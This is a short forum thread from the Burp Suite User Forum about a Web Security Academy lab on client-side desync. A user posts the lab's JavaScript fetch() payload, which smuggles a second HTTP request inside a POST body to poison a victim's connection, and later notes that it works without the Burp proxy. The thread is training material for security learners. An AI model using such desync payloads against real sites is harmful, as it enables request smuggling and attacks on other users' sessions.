Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: Client-side desync - Solution not working in Chrome

Nemeses5174 | Last updated: Mar 14, 2024 07:24PM UTC

The solution of laboratory "Client-side desync" is not working. The following code does not work in Chrome: fetch('https://YOUR-LAB-ID.h1-web-security-academy.net', { method: 'POST', body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x', mode: 'cors', credentials: 'include', }).catch(() => { fetch('https://YOUR-LAB-ID.h1-web-security-academy.net', { mode: 'no-cors', credentials: 'include' }) }) But it seems to work in Firefox. Maybe some last updates of Chrome broke/fix something? Can you confirm that the proposed solution is still working in Chrome? Thanks

Nemeses5174 | Last updated: Mar 15, 2024 01:09PM UTC

Sorry, now the code above is working. I was using Chrome through the Burp proxy, for correctly execute the malicious script code it is necessary to use a proxy-free browser.

Dominyque, PortSwigger Agent | Last updated: Mar 15, 2024 01:23PM UTC